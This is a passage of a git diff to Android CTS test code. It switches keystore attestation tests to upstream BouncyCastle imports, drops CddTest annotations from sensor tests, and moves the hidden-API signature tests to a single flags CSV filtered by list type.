-import com.android.org.bouncycastle.asn1.ASN1Boolean;
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Enumerated;
-import com.android.org.bouncycastle.asn1.ASN1InputStream;
-import com.android.org.bouncycastle.asn1.ASN1Integer;
-import com.android.org.bouncycastle.asn1.ASN1OctetString;
-import com.android.org.bouncycastle.asn1.ASN1Primitive;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
-import com.android.org.bouncycastle.asn1.ASN1Set;
-import com.android.org.bouncycastle.asn1.DEROctetString;
+import org.bouncycastle.asn1.ASN1Boolean;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Enumerated;
+import org.bouncycastle.asn1.ASN1InputStream;
+import org.bouncycastle.asn1.ASN1Integer;
+import org.bouncycastle.asn1.ASN1OctetString;
+import org.bouncycastle.asn1.ASN1Primitive;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Set;
+import org.bouncycastle.asn1.DEROctetString;
 
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 3070394..bf344ca 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -19,7 +19,7 @@
 import com.google.common.base.CharMatcher;
 import com.google.common.io.BaseEncoding;
 
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Sequence;
 
 import java.security.cert.CertificateParsingException;
 import java.security.cert.X509Certificate;
diff --git a/tests/security/src/android/keystore/cts/AttestationApplicationId.java b/tests/security/src/android/keystore/cts/AttestationApplicationId.java
index 42f8ea7..e228bac 100644
--- a/tests/security/src/android/keystore/cts/AttestationApplicationId.java
+++ b/tests/security/src/android/keystore/cts/AttestationApplicationId.java
@@ -14,9 +14,9 @@
 
 package android.keystore.cts;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
-import com.android.org.bouncycastle.asn1.ASN1Set;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Set;
 
 import java.security.cert.CertificateParsingException;
 import java.security.MessageDigest;
diff --git a/tests/security/src/android/keystore/cts/AttestationPackageInfo.java b/tests/security/src/android/keystore/cts/AttestationPackageInfo.java
index 3c3e2bd..b527c8e 100644
--- a/tests/security/src/android/keystore/cts/AttestationPackageInfo.java
+++ b/tests/security/src/android/keystore/cts/AttestationPackageInfo.java
@@ -14,8 +14,8 @@
 
 package android.keystore.cts;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Sequence;
 
 import java.security.cert.CertificateParsingException;
 
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index e4c5eb6..c8bd8ae 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -27,12 +27,12 @@
 import android.security.keystore.KeyProperties;
 import android.util.Log;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Primitive;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
-import com.android.org.bouncycastle.asn1.ASN1SequenceParser;
-import com.android.org.bouncycastle.asn1.ASN1TaggedObject;
-import com.android.org.bouncycastle.asn1.ASN1InputStream;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Primitive;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1SequenceParser;
+import org.bouncycastle.asn1.ASN1TaggedObject;
+import org.bouncycastle.asn1.ASN1InputStream;
 
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
diff --git a/tests/security/src/android/keystore/cts/CertificateUtils.java b/tests/security/src/android/keystore/cts/CertificateUtils.java
index 68e936e..c32a9cb 100644
--- a/tests/security/src/android/keystore/cts/CertificateUtils.java
+++ b/tests/security/src/android/keystore/cts/CertificateUtils.java
@@ -16,11 +16,11 @@
 
 package android.keystore.cts;
 
-import com.android.org.bouncycastle.asn1.x500.X500Name;
-import com.android.org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
-import com.android.org.bouncycastle.cert.X509CertificateHolder;
-import com.android.org.bouncycastle.cert.X509v3CertificateBuilder;
-import com.android.org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
+import org.bouncycastle.cert.X509CertificateHolder;
+import org.bouncycastle.cert.X509v3CertificateBuilder;
+import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
 import java.io.ByteArrayInputStream;
 import java.math.BigInteger;
 import java.security.KeyPair;
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index b77b689..99577021 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -18,8 +18,8 @@
 
 import com.google.common.io.BaseEncoding;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Sequence;
 
 import java.security.cert.CertificateParsingException;
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 7988ef3..6fd0865 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -23,8 +23,6 @@
 import android.hardware.SensorDirectChannel;
 import android.hardware.SensorManager;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * Checks if Hifi sensors  or VR High performance mode sensors
  * are supported. When supported, checks individual support for
@@ -58,32 +56,26 @@
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometer() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometerUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscope() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscopeUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGeoMagneticField() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsMagneticFieldUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
     }
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
new file mode 100644
index 0000000..a04919f
--- /dev/null
+++ b/tests/signature/api-check/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libclassdescriptors",
+
+    srcs: ["src/jni/classdescriptors.cpp"],
+    header_libs: ["libopenjdkjvmti_headers"],
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 272bf1b..08afe97 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -35,35 +35,17 @@
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
-include $(CLEAR_VARS)
-LOCAL_MODULE := libclassdescriptors
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := src/jni/classdescriptors.cpp
-LOCAL_HEADER_LIBRARIES := jni_headers libopenjdkjvmti_headers
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_SHARED_LIBRARY)
-
 # hidden API lists
 # ===================================
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-blacklist
-LOCAL_MODULE_STEM := blacklist.api
+LOCAL_MODULE := cts-hiddenapi-flags
+LOCAL_MODULE_STEM := hiddenapi_flags.csv
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_BLACKLIST),$(LOCAL_BUILT_MODULE)))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-dark-greylist
-LOCAL_MODULE_STEM := dark_greylist.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_DARK_GREYLIST),$(LOCAL_BUILT_MODULE)))
+$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_FLAGS),$(LOCAL_BUILT_MODULE)))
 
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/android-test-base-27-api/Android.mk b/tests/signature/api-check/android-test-base-27-api/Android.mk
index 1adcb12c..dc8dea0 100644
--- a/tests/signature/api-check/android-test-base-27-api/Android.mk
+++ b/tests/signature/api-check/android-test-base-27-api/Android.mk
@@ -21,4 +21,6 @@
 LOCAL_SIGNATURE_API_FILES := \
     android-test-base-current.api \
 
+LOCAL_MIN_SDK_VERSION := 25
+
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk b/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
index 0f2161a..4e17901 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
@@ -22,4 +22,6 @@
     current.api \
     apache-http-legacy-minus-current.api \
 
+LOCAL_MIN_SDK_VERSION := 22
+
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
index 58bf17d..59f7d6f2 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
@@ -17,6 +17,6 @@
 include $(CLEAR_VARS)
 LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi27TestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
 LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index bfa5fc6..bf13b5a 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -21,7 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -31,7 +31,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/Android.mk b/tests/signature/api-check/hidden-api-blacklist-28/Android.mk
new file mode 100644
index 0000000..f1cd2f3
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/Android.mk
@@ -0,0 +1,22 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi28TestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
+LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml
new file mode 100644
index 0000000..51b986e
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.hiddenapi_blacklist_api_28">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-sdk android:targetSdkVersion="28" />
+
+    <application/>
+
+    <instrumentation
+        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:targetPackage="android.signature.cts.api.hiddenapi_blacklist_api_28"
+        android:label="Hidden API Blacklist Test for SDK level 28"/>
+</manifest>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml
new file mode 100644
index 0000000..011a565
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Hidden API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsHiddenApiBlacklistApi28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_28" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="class" value="android.signature.cts.api.HiddenApiTest" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
+        <option name="runtime-hint" value="30s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
index e518f14..bfd890b 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
@@ -17,6 +17,6 @@
 include $(CLEAR_VARS)
 LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistCurrentApiTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
 LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index dfcd0d9..ab5e735 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -21,8 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-        <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -32,7 +31,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
index 7f6d5b6..9048d8e 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
@@ -17,6 +17,6 @@
 include $(CLEAR_VARS)
 LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
 LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index e58c362..090d69b 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -21,8 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-        <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -32,7 +31,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 17a5b78..3d31aa7 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -18,7 +18,6 @@
 
 import android.os.Bundle;
 import android.provider.Settings;
-import android.signature.cts.DexApiDocumentParser;
 import android.signature.cts.DexField;
 import android.signature.cts.DexMember;
 import android.signature.cts.DexMemberChecker;
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
index 61511c3..d1f019b 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
@@ -67,11 +67,11 @@
         String klass_desc = "L" + klass.getName().replace('.', '/') + ";";
         DexMember[] members = new DexMember[field_infos[0].length + method_infos[0].length];
         for (int i = 0; i < field_infos[0].length; i++) {
-            members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i]);
+            members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i], null);
         }
         for (int i = 0; i < method_infos[0].length; i++) {
             members[i + field_infos[0].length] =
-                new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i]);
+                new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i], null);
         }
         return Arrays.stream(members);
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index ba8e8c5..3f4626c 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -42,11 +42,13 @@
  */
 public class HiddenApiTest extends AbstractApiTest {
 
-    private String[] hiddenApiFiles;
+    private String[] hiddenapiFiles;
+    private String[] hiddenapiTestFlags;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        hiddenApiFiles = getCommaSeparatedList(instrumentationArgs, "hidden-api-files");
+        hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
+        hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
     }
 
     @Override
@@ -108,8 +110,10 @@
                     }
                 }
             };
-            parseDexApiFilesAsStream(hiddenApiFiles).forEach(dexMember -> {
-                DexMemberChecker.checkSingleMember(dexMember, observer);
+            parseDexApiFilesAsStream(hiddenapiFiles).forEach(dexMember -> {
+                if (shouldTestMember(dexMember)) {
+                    DexMemberChecker.checkSingleMember(dexMember, observer);
+                }
             });
         });
     }
@@ -122,4 +126,15 @@
                 .flatMap(stream -> dexApiDocumentParser.parseAsStream(stream));
     }
 
+    private boolean shouldTestMember(DexMember member) {
+        for (String testFlag : hiddenapiTestFlags) {
+            for (String memberFlag : member.getHiddenapiFlags()) {
+                if (testFlag.equals(memberFlag)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
 }
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index c9c2a60..5a95155 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -39,14 +39,14 @@
 $(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
 $(eval $(call build_xml_api_file,system-current.api,frameworks/base/api/system-current.txt))
 $(eval $(call build_xml_api_file,system-removed.api,frameworks/base/api/system-removed.txt))
-$(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/android-test-base-current.txt))
-$(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/android-test-mock-current.txt))
-$(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/android-test-runner-current.txt))
+$(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/current.txt))
+$(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/current.txt))
+$(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/current.txt))
 $(eval $(call build_xml_api_file,car-system-current.api,packages/services/Car/car-lib/api/system-current.txt))
 $(eval $(call build_xml_api_file,car-system-removed.api,packages/services/Car/car-lib/api/system-removed.txt))
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
-    $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/system-api/$(ver).txt))\
+    $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/$(ver)/system/api/android.txt))\
   )\
 )
 
@@ -67,11 +67,11 @@
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE) : \
         frameworks/base/api/current.txt \
-        external/apache-http/api/apache-http-legacy-current.txt \
+        external/apache-http/api/current.txt \
         | $(APICHECK)
 	@echo "Generate unique Apache Http Legacy API file -> $@"
 	@mkdir -p $(dir $@)
 	$(hide) $(APICHECK_COMMAND) -new_api_no_strip \
 	        frameworks/base/api/current.txt \
-            external/apache-http/api/apache-http-legacy-current.txt \
+            external/apache-http/api/current.txt \
             $@
diff --git a/tests/signature/dex-checker/Android.bp b/tests/signature/dex-checker/Android.bp
new file mode 100644
index 0000000..44c8571
--- /dev/null
+++ b/tests/signature/dex-checker/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libcts_dexchecker",
+
+    srcs: ["dex-checker.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/signature/dex-checker/Android.mk b/tests/signature/dex-checker/Android.mk
deleted file mode 100644
index 8a86a36..0000000
--- a/tests/signature/dex-checker/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
